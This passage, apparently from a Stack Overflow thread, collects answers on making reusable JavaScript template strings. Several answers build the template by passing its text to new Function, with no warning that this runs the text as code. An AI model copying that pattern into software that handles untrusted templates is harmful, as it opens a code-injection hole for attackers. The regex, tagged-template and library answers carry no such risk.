  template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
  return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};

console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter
Raul
  • 465
  • 5
  • 16
2

UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:

format("This is a test: ${a_b}", {a_b: a+b});

ORIGINAL ANSWER:

Based in the previous answers but creating a more "friendly" utility function:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

You can invoque it just like:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

And the resulting string should be:

'This is a test: Hola, second param: Hi'
Roberto
  • 8,586
  • 3
  • 42
  • 53
2

I just publish one npm package that can simply do this job. Deeply inspired by this answer.

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Its implement is deadly simple. Wish you will like it.


module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}
1

you can use inline arrow function like this, definition:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

usage:

console.log(template('my replaced string'));
EladTal
  • 2,167
  • 1
  • 18
  • 10
1

Runtime template string

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

Test

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
Dennis T
  • 109
  • 4
1

You can use the following function to resolve dynamically templates, supplying new data.

This use a non really common feature of javascript called Tagged Template Literal


function template(...args) {
  return (values) =>
    args[0].reduce(
      (acum, current, index) => 
        acum.concat(
          current, values[index] === undefined ? '' : values[index]
        ),
      ''
    )
}

const person = 'Lydia';
const age = 21;

template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?

Jose Marin
  • 802
  • 1
  • 4
  • 15
1

This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....

const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }

//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'

And that is all she wrote.

Dharman
  • 30,962
  • 25
  • 85
  • 135
Ismael Harun
  • 143
  • 2
  • 7
1

If you are using Angular, you can use @ngx-translate/core package as follows:

import { TranslateDefaultParser } from '@ngx-translate/core';

export class SomeClass {
    public parser = new TranslateDefaultParser();
    test() {
        // outputs "This is my great reusable template!"
        this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
    }
    ...
}
luiscla27
  • 4,956
  • 37
  • 49
0

I solved this interpolation template using:

function flatKeys(inputObject: any): {[key: string]: any} {
    const response: {[key: string]: any} = {};
  function iterative(currentObject: any, parentKeys: string[]=[]) {
    const llaves = Object.keys(currentObject);
    for (let i=0; i<llaves.length; i++) {
        const llave: string = llaves[i];
      const valor = currentObject[llave];
      const llavesNext = parentKeys.concat(llave);
      if (typeof valor == 'object') {
        iterative(valor, llavesNext);
      } else {
        response[llavesNext.join('.')] = valor;
      }
    }
  }
  iterative(inputObject);
  return response;
}

function interpolate(template: string, values: any, defaultValue='') {
  const flatedValues = flatKeys(values);
  const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
    const value = flatedValues[g];
    if ([undefined, null].indexOf(value) >= 0) {
      return defaultValue;
    }
    return value;
  });
  return interpolated;
}

const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
    animal: {
    name:"Iguana"
  },
  alimento: {
    name: "café"
  },
  amigos: [
    { name: "perro" },
    true
  ]
};

const interpolated = interpolate(template, values);

console.log(interpolated);
0

All props to other answers here for teaching me about a javascript feature that I never knew about -- I knew about string template literals, but not that you could call functions with them without parens!

As a thanks here I'm sharing my typescript adaptation which makes it really easy to make a reusable template with named variables that typescript knows about -- it allows any type because they will get converted to string automagically, but you could adjust that on your own if you dislike the strategy.


/**
 * Use this with a template literal in order to create reusable string template;
 * use interpolation to add strings for each variable you want to use in the template.
 * 
 * e.g.:
 * 
 *  const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
 * 
 * You can then call it with:
 * 
 *  const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
 *  // John and Jane are going to Paris
 * 
 * reUsableStringTemplate will have types and know the names of your variables
 * 
 * @returns String template function with full typescript types
 */
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
  return (opts: Record<keys, any>) => {
    let outStr = '';
    for (let i = 0; i < parts.length; ++i) {
      outStr += parts[i];
      const key = keys.shift();
      if (key && key in opts) {
        outStr += opts[key];
      } else {
        outStr += key ?? '';
      }
    }
    return outStr;
  };
}

taxilian
  • 14,229
  • 4
  • 34
  • 73